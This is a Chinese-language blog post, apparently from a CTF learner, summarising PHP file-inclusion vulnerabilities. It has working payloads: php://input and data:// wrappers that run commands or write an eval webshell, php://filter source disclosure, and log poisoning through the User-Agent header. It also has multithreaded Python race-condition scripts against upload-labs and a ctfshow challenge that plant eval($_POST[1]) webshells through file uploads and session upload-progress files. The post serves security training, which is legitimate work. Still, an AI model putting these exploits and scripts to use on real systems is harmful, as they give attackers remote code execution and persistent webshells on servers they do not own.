文件包含总结

news2024/11/27 4:15:05

概念

是指将已有的代码以文件形式包含到某个指定的代码中,从而使用其中的代码或者数据,一般是为了方便直接调用所需文件,文件包含的存在使得开发变得更加灵活和方便。

文件包含常见函数

include()  // 执行到include时才包含文件,找不到文件产生警告,脚本继续执行
require()  // 程序运行就包含文件,找不到文件产生错误,脚本停止
include_once()
require_once()
// 和前面注解一样,_once()后缀表明只会包含一次,已包含则不会再包含

漏洞成因

文件包含漏洞原因主要有两点:

1.函数中的参数可控。

2.文件包含时,无论文件是何类型,他都会将该文件当作php文件来解析,无法解析时会回显其文件的内容

本地尝试1(include)

代码

1.php

<?php
    highlight_file(__file__);
    $filename = $_GET['file'];
    include $filename;
?>

然后写一个被包含的文件。

然后get传入shell.php,发现成功被解析。

然后修改一下shell.php为shell.png,并改变其内容

<?php system('dir');

成功解析,说明include可以绕过后缀名直接解析文件中的php代码。

然后来尝试一下伪协议:

首先是php伪协议:

php://input:

payload:

GET: file=php://input
POST: <?php file_put_contents('./feng.php','<?php eval($_POST[1]);?>')?>

写入木马文件feng.php

file://

需要直接路径

php://filter

payload:

file=php://filter/resource=文件名

base64输出文件内容;

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

data协议

payload:

?file=data://text/plain,<?php%20system(%27dir%27);

base64传入命令:

payload:

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz

本地尝试2(require)

代码:

<?php
require('shell.png');
echo $flag;
?>

成功得到了shell.png中的$flag的值,所以require的一个作用就是在一个文件里去包含另一个文件,然后可以用另一个文件里的参数和方法。

还有几种常见的类型,日志文件包含、条件竞争、脏文件绕过、phar://伪协议+反序列化等等。

条件竞争类型

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的。开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果,简而言之就是并没有考虑线程同步。因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

用upload-labs来演示。

Pass-18:

源码:

?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
?>

思路:文件是先传到服务器上,然后再去判断是否符合要求,当我们一直上传并访问该文件时,会出现文件还没来得及删除就被我们访问到,然后我们写一个写入木马文件的木马,最后会在服务器上留下一个访问时被上传上去的木马,这个木马并不会被删除,就达到了getshell的目的。

脚本:

import requests
import threading


def write():
    url = 'http://www.upload.com:83/upload/Pass-18/index.php?action=show_code'
    files = {'upload_file': (
        'shell2.php', "<?php fputs(fopen('feng.php','w'),'<?php phpinfo();?>');?>")}
    data = {'submit': '上传'}
    while True:
        r = requests.post(url=url, data=data, files=files)

def read():
    while True:
        re = requests.get('http://www.upload.com:83/upload/upload/shell2.php')
        if re.status_code == 200:
            print('上传成功')

if __name__ == '__main__':
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(20):
            threading.Thread(target=write).start()
        for i in range(20):
            threading.Thread(target=read).start()
    evnet.set()

运行脚本,发现上传成功:

Pass-19:

源码:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}
?>

还是条件竞争,不过需要修改一下路径和上传文件的名称。

脚本如下:

import requests
import threading


def write():
    url = 'http://www.sql.coom:83/upload/Pass-19/index.php?action=show_code'
    files = {'upload_file': (
        'shell2.png', "<?php fputs(fopen('./feng3.php','w'),'<?php @eval($_POST[1])?>');?>")}
    data = {'submit': '上传'}
    while True:
        r = requests.post(url=url, data=data, files=files)

def read():
    while True:
        re = requests.get('http://www.sql.coom:83/upload/include.php?file=upload/shell2.png')
        if re.status_code == 200:
            print('上传成功')

if __name__ == '__main__':
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(20):
            threading.Thread(target=write).start()
        for i in range(20):
            threading.Thread(target=read).start()
    evnet.set()

条件竞争思路几乎都差不多,还有的是session条件竞争,需要开启session.start,不多说了。

日志文件包含+简单绕过

以ctfshow例题为例:

源码:

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

源码很简单,过滤了php和data协议,然后还过滤了:

利用日志文件包含,首先看一下服务器类型。

发现时Nginx1.18.0版本,在网上找到了日志问价路径,然后改一下UA头,bp打一下。

需要访问两次,第一次写入修改的UA头,第二次才能成功包含。

有时会有放火墙过滤,这时可以用脏数据绕过。

以[鹏城杯 2022]简单包含为例:

源码很简单,但当我们正常包含时,会发现。

想办法绕过waf,试了很多种方法,最后脏数据成功绕过。

传入一大串垃圾数据,让其waf崩溃,从而可以达到文件包含目的。

例题

ctfshow web入门-85

先看题目给出的代码:

<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}

发现是include问题,并且过滤了:和.,利用session条件竞争来解题。

import requests
import io
import threading

url = "http://532ebcbc-0b51-4afc-a511-711d3c73a1e6.challenge.ctf.show/"
data = {"1" : "file_put_contents('/var/www/html/feng.php','<?php @eval($_POST[1]);?>');"}
sessionid = "feng"

def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 20)
    while True:
        response = session.post(url,
                          data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'},
                          cookies={'PHPSESSID': sessionid},
                          files={"file":('feng.jpg',fileBytes)}
                          )

def read(session):
    while True:
        response = session.post(url + '?file=/tmp/sess_' + sessionid, data=data)
        response2 = session.get(url + 'feng.php');
        if response2.status_code == 200:
            print('Success upload')
        else:
            print(response2.status_code)


if __name__ == '__main__':

    # 开启多线程进行竞争
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(20):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(20):
            threading.Thread(target=read, args=(session,)).start()
    evnet.set()

参考:【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行… - FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/49987.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

区间信息维护与查询【线段树 】 - 原理2 线段树中的“懒操作”

区间信息维护与查询【线段树 】 - 原理2 线段树中的“懒操作” 之前我们已经说了对线段树的点更新和区间查询&#xff0c;若要求对区间中的所有点都进行更新&#xff0c;该怎么办&#xff1f; 若对区间的每个点都进行更新&#xff0c;则时间复杂度较高&#xff0c;可以引入懒…

Cocos2d-x 3D渲染技术 (三)

包围盒算法 说白了就是给物体装进一个盒子里&#xff0c;该盒子可以装下物体。目的是为了进行碰撞检测。 种类&#xff1a; 球状碰撞体立方体碰撞体胶囊碰撞体Mesh碰撞体 实现原理是OBB包围盒。 经常使用的两种碰撞算法是OBB包围盒和AABB包围盒算法。 OBB包围盒算法 方向…

JavaScript -- 01. 基础语法介绍

文章目录基础语法1 Hello World2 JS的编写位置3 基本语法3.1 多行注释3.2 单行注释3.3 区分大小写3.4 空格和换行会被忽略3.5 以分号结尾3.6 字面量3.7 变量3.8 变量的内存结构3.9 常量3.10 标识符基础语法 JS的基本语法 1 Hello World js的三种输出方式 <!DOCTYPE html&g…

精彩回顾 | 云原生系统软件的产业应用

11月18日&#xff0c;2022年第五届中国金融科技产业大会暨第四届中新&#xff08;苏州&#xff09;数字金融应用博览会“基础软件与云原生系统软件”分论坛成功举办。该论坛由由中国计算机学会CTO CLUB&#xff08;苏州&#xff09;承办&#xff0c;江苏省金融科技云原生融合创…

如何用 Python 做一个简单的翻译工具?

前言 平时经常在网上翻译一些单词&#xff0c;突发奇想&#xff0c;可不可以直接调某些免费翻译网站的接口呢&#xff1f;然后做一个图形界面的翻译小工具&#xff1f;下面开始实践 &#xff08;文末送读者福利&#xff09; 1.先找一下有哪些免费翻译的接口 百度了一下关键字…

神经架构搜索的综合调查:挑战和解决方案(二)

4 PERFORMANCE COMPARISON NAS 是一项很有前途的研究。在本节中&#xff0c;我们根据主流搜索方法 [27, 28] 对现有 NAS 的性能进行分类和比较&#xff0c;同时还根据第 3 节报告了它们使用的优化策略。这些搜索方法主要包括以下内容&#xff1a;强化学习&#xff08;RL&#…

操作系统学习笔记(Ⅲ):内存

目录 1 内存管理 1.1 内存基础知识 1.内存 2.进程运行 1.2 内存管理的概念 1.3 覆盖与交换 1.覆盖 2.交换 3.区别 1.4 连续分配管理方式 1.单一连续分配 2.固定分区分配 3.动态分区分配 1.5 动态分区分配算法 1.首次适应算法 2.最佳适应算法 3.最坏适应算法 …

网络安全与IP安全

网络安全 是指网络系统的硬件&#xff0c;软件以及系统中的数据收到的保护。 保护的基本属性为&#xff1a;机密性&#xff0c;身份认证&#xff0c;完整性和可用性&#xff1b; 基本特征&#xff1a;相对性&#xff0c;时效性&#xff0c;相关性&#xff0c;不确定性&#xf…

React项目实战之租房app项目(六)渲染房源列表axios优化封装顶部搜索栏列表找房模块之条件筛选

前言 目录前言一、地图找房模块-获取并渲染房源列表1.1 房源列表示例图1.2 实现步骤1.3 代码示例二、axios优化2.1 问题概述2.2 配置生产环境和开发环境2.3 axios优化三、封装顶部搜索导航栏四、列表找房模块-导入顶部导航栏组件五、列表找房模块-条件筛选&#xff08;上&#…

Python将Excel文件插入Mysql数据库(脚本)

目录前言最近接到一个需求&#xff0c;就是将多个Eccel文件&#xff08;表头相同&#xff1b;每个都非常大&#xff0c;约60多万行&#xff0c;每个都是&#xff01;&#xff01;&#xff09;先合并在一起&#xff0c;再做一些处理&#xff0c;但是Excel表格一个文件根本存不下…

Python矩阵乘法 二重循环实现 + 列表推式

这是python 矩阵乘法的简单例子 col 2 row 2 a [[1, 2], [3, 4]] b [[5, 6], [7, 8]] c [[0, 0], [0, 0]] “”" a b c 二维矩阵初始化 c [[0 for col in range(col)] for row in range(row)] a [[0 for col in range(col)] for row in range(row)] b [[0 for c…

Android热修复,精简学习

接入热修复 接入热修复流程如下&#xff1a; 配置开发环境在控制台创建应用在客户端创建新工程签名配置加密信息编写代码发布带有热修复功能的客户端版本 配置开发环境 在控制台创建应用 在控制台创建 mPaaS 应用。此时&#xff0c;本地还没有带签名的 APK&#xff0c;因此…

面试:插件化相关---broadcastReceiver

实现原理 1 采用的模型 Android中的广播使用了设计模式中的观察者模式&#xff1a;基于消息的发布 / 订阅事件模型因此&#xff0c;Android将广播的发送者 和 接收者 解耦&#xff0c;使得系统方便集成&#xff0c;更易扩展 2 模型讲解 模型中有3个角色&#xff1a; 消息订阅…

小程序项目结构

pages 用来存放所有小程序的页面utils 用来存放工具性质的模块(例如:格式化时间的自定义模块)app.js 小程序项目的入口文件app.json 小程序项目的全局配置文件app.wxss 小程序项目的全局样式文件project.config.json 项目的配置文件sitemap.json 用来配置小程序及其页面是否允许…

【数据结构-查找】散列表

文章目录1 线性探测法1.1 查找成功时的 ASL1.2 查找失败时的 ASL1.3 散列表的装填因子 α2 拉链法1 线性探测法 1.1 查找成功时的 ASL 查找元素 47&#xff08;散列函数&#xff1a;3&#xff09;次数&#xff1a;1查找元素 7&#xff08;散列函数&#xff1a;11&#xff09;次…

云上办公便捷、安全,就用华为云桌面

云上办公便捷、安全&#xff0c;就用华为云桌面&#xff01; 根据IDC提出的“未来工作空间”的概念&#xff0c;未来工作空间意味着将打破时空与地域的限制&#xff0c;让员工随时随地工作。未来工作空间也将成为企业整体数字化转型战略中的必要组成部分。 恰逢其时&#xff0…

kubernetes Pod详解

文章目录Pod生命周期创建和终止pod的创建过程pod的终止过程初始化容器钩子函数容器探测重启策略Pod调度定向调度NodeNameNodeSelector亲和性调度NodeAffinityPodAffinityPodAntiAffinity污点和容忍污点&#xff08;Taints&#xff09;容忍&#xff08;Toleration&#xff09;Po…

【测试沉思录】19. 如何设置 JMeter 线程组?

作者&#xff1a;宋赟 编辑&#xff1a;毕小烦 最近有不少测试同学问我 JMeter 线程组如何设置并发的问题&#xff0c;发现很多人对线程组里的参数不是很清楚&#xff0c;今天就科普一下 JMeter 线程组的信息&#xff0c;也简单介绍一下不同场景的并发策略。 1. 线程组是什么 …

制作一个简单HTML游戏网页(HTML+CSS)米哈游 1页 带轮播图

⛵ 源码获取 文末联系 ✈ Web前端开发技术 描述 网页设计题材&#xff0c;DIVCSS 布局制作,HTMLCSS网页设计期末课程大作业 | 游戏官网 | 游戏网站 | 电竞游戏 | 游戏介绍 | 等网站的设计与制作 | HTML期末大学生网页设计作业&#xff0c;Web大学生网页 HTML&#xff1a;结构 …

K3S +Helm+NFS最小化测试安装部署只需十分钟

作者&#xff1a;郝建伟 k3s 简介 官方文档&#xff1a;k3s 什么是k3s k3s 是一个轻量级的 Kubernetes 发行版 它针对边缘计算、物联网等场景进行了高度优化。 k3s 有以下增强功能&#xff1a;打包为单个二进制文件。 使用基于 sqlite3 的轻量级存储后端作为默认存储机制。…